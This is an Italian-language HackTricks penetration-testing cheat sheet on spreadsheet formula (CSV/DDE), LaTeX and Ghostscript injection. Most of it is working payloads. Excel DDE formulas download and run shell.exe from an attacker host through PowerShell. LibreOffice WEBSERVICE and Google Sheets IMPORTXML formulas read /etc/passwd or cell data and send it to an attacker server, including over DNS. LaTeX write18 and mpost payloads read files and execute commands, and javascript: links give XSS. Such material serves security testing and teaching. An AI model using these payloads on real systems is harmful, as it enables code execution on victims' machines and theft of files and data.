12 KiB
Formula/CSV/Doc/LaTeX/GhostScript Injection
{% hint style="success" %}
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Check the subscription plans!
- Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.
Formula Injection
Info
Se il tuo input viene riflesso all'interno di file CSV (o qualsiasi altro file che probabilmente verrà aperto da Excel), potresti essere in grado di inserire formule di Excel che verranno eseguite quando l'utente apre il file o quando l'utente clicca su qualche link all'interno del foglio di calcolo di Excel.
{% hint style="danger" %} Oggigiorno Excel avviserà (più volte) l'utente quando qualcosa viene caricato da fuori Excel per prevenire azioni dannose. Pertanto, è necessario applicare uno sforzo speciale nel Social Engineering per il payload finale. {% endhint %}
Wordlist
DDE ("cmd";"/C calc";"!A0")A0
@SUM(1+9)*cmd|' /C calc'!A0
=10+20+cmd|' /C calc'!A0
=cmd|' /C notepad'!'A1'
=cmd|'/C powershell IEX(wget attacker_server/shell.exe)'!A0
=cmd|'/c rundll32.exe \\10.0.0.1\3\2\1.dll,0'!_xlbgnm.A1
Hyperlink
Il seguente esempio è molto utile per estrarre contenuti dal foglio Excel finale e per effettuare richieste a posizioni arbitrarie. Ma richiede che l'utente clicchi sul link (e accetti i messaggi di avviso).
Il seguente esempio è stato preso da https://payatu.com/csv-injection-basic-to-exploit
Immagina una violazione della sicurezza in un sistema di gestione dei registri degli studenti sfruttata attraverso un attacco di iniezione CSV. L'intenzione principale dell'attaccante è compromettere il sistema utilizzato dagli insegnanti per gestire i dettagli degli studenti. Il metodo prevede che l'attaccante inietti un payload malevolo nell'applicazione, specificamente inserendo formule dannose nei campi destinati ai dettagli degli studenti. L'attacco si svolge come segue:
- Iniezione di Payload Malevolo:
- L'attaccante invia un modulo di dettagli dello studente ma include una formula comunemente usata nei fogli di calcolo (ad es.,
=HYPERLINK("<malicious_link>","Clicca qui")
). - Questa formula è progettata per creare un hyperlink, ma punta a un server malevolo controllato dall'attaccante.
- Esportazione di Dati Compromessi:
- Gli insegnanti, ignari della compromissione, utilizzano la funzionalità dell'applicazione per esportare i dati in un file CSV.
- Il file CSV, una volta aperto, contiene ancora il payload malevolo. Questo payload appare come un hyperlink cliccabile nel foglio di calcolo.
- Attivazione dell'Attacco:
- Un insegnante clicca sull'hyperlink, credendo che faccia parte legittima dei dettagli dello studente.
- Cliccando, i dati sensibili (potenzialmente inclusi dettagli dal foglio di calcolo o dal computer dell'insegnante) vengono trasmessi al server dell'attaccante.
- Registrazione dei Dati:
- Il server dell'attaccante riceve e registra i dati sensibili inviati dal computer dell'insegnante.
- L'attaccante può quindi utilizzare questi dati per vari scopi malevoli, compromettendo ulteriormente la privacy e la sicurezza degli studenti e dell'istituzione.
RCE
Controlla il post originale per ulteriori dettagli.
In configurazioni specifiche o versioni più vecchie di Excel, una funzionalità chiamata Dynamic Data Exchange (DDE) può essere sfruttata per eseguire comandi arbitrari. Per sfruttare questo, le seguenti impostazioni devono essere abilitate:
- Naviga su File → Opzioni → Centro di protezione → Impostazioni del centro di protezione → Contenuto esterno, e abilita Avvio del server Dynamic Data Exchange.
Quando un foglio di calcolo con il payload malevolo viene aperto (e se l'utente accetta gli avvisi), il payload viene eseguito. Ad esempio, per avviare l'applicazione calcolatrice, il payload sarebbe:
=cmd|' /C calc'!xxx
Ulteriori comandi possono essere eseguiti, come scaricare ed eseguire un file utilizzando PowerShell:
=cmd|' /C powershell Invoke-WebRequest "http://www.attacker.com/shell.exe" -OutFile "$env:Temp\shell.exe"; Start-Process "$env:Temp\shell.exe"'!A1
Local File Inclusion (LFI) in LibreOffice Calc
LibreOffice Calc può essere utilizzato per leggere file locali ed esfiltrare dati. Ecco alcuni metodi:
- Leggere la prima riga dal file locale
/etc/passwd
:='file:///etc/passwd'#$passwd.A1
- Esfiltrare i dati letti a un server controllato dall'attaccante:
=WEBSERVICE(CONCATENATE("http://<attacker IP>:8080/",('file:///etc/passwd'#$passwd.A1)))
- Esfiltrare più di una riga:
=WEBSERVICE(CONCATENATE("http://<attacker IP>:8080/",('file:///etc/passwd'#$passwd.A1)&CHAR(36)&('file:///etc/passwd'#$passwd.A2)))
- Esfiltrazione DNS (inviare dati letti come query DNS a un server DNS controllato dall'attaccante):
=WEBSERVICE(CONCATENATE((SUBSTITUTE(MID((ENCODEURL('file:///etc/passwd'#$passwd.A19)),1,41),"%","-")),".<attacker domain>"))
Google Sheets for Out-of-Band (OOB) Data Exfiltration
Google Sheets offre funzioni che possono essere sfruttate per l'esfiltrazione di dati OOB:
- CONCATENATE: Unisce le stringhe -
=CONCATENATE(A2:E2)
- IMPORTXML: Importa dati da tipi di dati strutturati -
=IMPORTXML(CONCAT("http://<attacker IP:Port>/123.txt?v=", CONCATENATE(A2:E2)), "//a/a10")
- IMPORTFEED: Importa feed RSS o ATOM -
=IMPORTFEED(CONCAT("http://<attacker IP:Port>//123.txt?v=", CONCATENATE(A2:E2)))
- IMPORTHTML: Importa dati da tabelle o elenchi HTML -
=IMPORTHTML (CONCAT("http://<attacker IP:Port>/123.txt?v=", CONCATENATE(A2:E2)),"table",1)
- IMPORTRANGE: Importa un intervallo di celle da un altro foglio di calcolo -
=IMPORTRANGE("https://docs.google.com/spreadsheets/d/[Sheet_Id]", "sheet1!A2:E2")
- IMAGE: Inserisce un'immagine in una cella -
=IMAGE("https://<attacker IP:Port>/images/srpr/logo3w.png")
LaTeX Injection
Di solito, i server che si trovano su Internet che convertono codice LaTeX in PDF utilizzano pdflatex
.
Questo programma utilizza 3 attributi principali per (dis)abilitare l'esecuzione di comandi:
--no-shell-escape
: Disabilita il costrutto\write18{command}
, anche se è abilitato nel file texmf.cnf.--shell-restricted
: Stesso di--shell-escape
, ma limitato a un insieme 'sicuro' di comandi **predefiniti (**Su Ubuntu 16.04 la lista si trova in/usr/share/texmf/web2c/texmf.cnf
).--shell-escape
: Abilita il costrutto\write18{command}
. Il comando può essere qualsiasi comando della shell. Questo costrutto è normalmente disabilitato per motivi di sicurezza.
Tuttavia, ci sono altri modi per eseguire comandi, quindi per evitare RCE è molto importante utilizzare --shell-restricted
.
Read file
Potresti dover regolare l'iniezione con wrapper come [ o $.
\input{/etc/passwd}
\include{password} # load .tex file
\lstinputlisting{/usr/share/texmf/web2c/texmf.cnf}
\usepackage{verbatim}
\verbatiminput{/etc/passwd}
Leggi file a riga singola
\newread\file
\openin\file=/etc/issue
\read\file to\line
\text{\line}
\closein\file
Leggi file a più righe
\newread\file
\openin\file=/etc/passwd
\loop\unless\ifeof\file
\read\file to\fileline
\text{\fileline}
\repeat
\closein\file
Scrivere file
\newwrite\outfile
\openout\outfile=cmd.tex
\write\outfile{Hello-world}
\closeout\outfile
Esecuzione di comandi
L'input del comando sarà reindirizzato a stdin, usa un file temporaneo per ottenerlo.
\immediate\write18{env > output}
\input{output}
\input{|"/bin/hostname"}
\input{|"extractbb /etc/passwd > /tmp/b.tex"}
# allowed mpost command RCE
\documentclass{article}\begin{document}
\immediate\write18{mpost -ini "-tex=bash -c (id;uname${IFS}-sm)>/tmp/pwn" "x.mp"}
\end{document}
# If mpost is not allowed there are other commands you might be able to execute
## Just get the version
\input{|"bibtex8 --version > /tmp/b.tex"}
## Search the file pdfetex.ini
\input{|"kpsewhich pdfetex.ini > /tmp/b.tex"}
## Get env var value
\input{|"kpsewhich -expand-var=$HOSTNAME > /tmp/b.tex"}
## Get the value of shell_escape_commands without needing to read pdfetex.ini
\input{|"kpsewhich --var-value=shell_escape_commands > /tmp/b.tex"}
Se ricevi un errore LaTex, considera di utilizzare base64 per ottenere il risultato senza caratteri non validi.
\immediate\write18{env | base64 > test.tex}
\input{text.tex}
\input|ls|base4
\input{|"/bin/hostname"}
Cross Site Scripting
Da @EdOverflow
\url{javascript:alert(1)}
\href{javascript:alert(1)}{placeholder}
Ghostscript Injection
Controlla https://blog.redteam-pentesting.de/2023/ghostscript-overview/
Riferimenti
- https://notsosecure.com/data-exfiltration-formula-injection-part1
- https://0day.work/hacking-with-latex/
- https://salmonsec.com/cheatsheet/latex_injection
- https://scumjr.github.io/2016/11/28/pwning-coworkers-thanks-to-latex/
{% hint style="success" %}
Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos su github.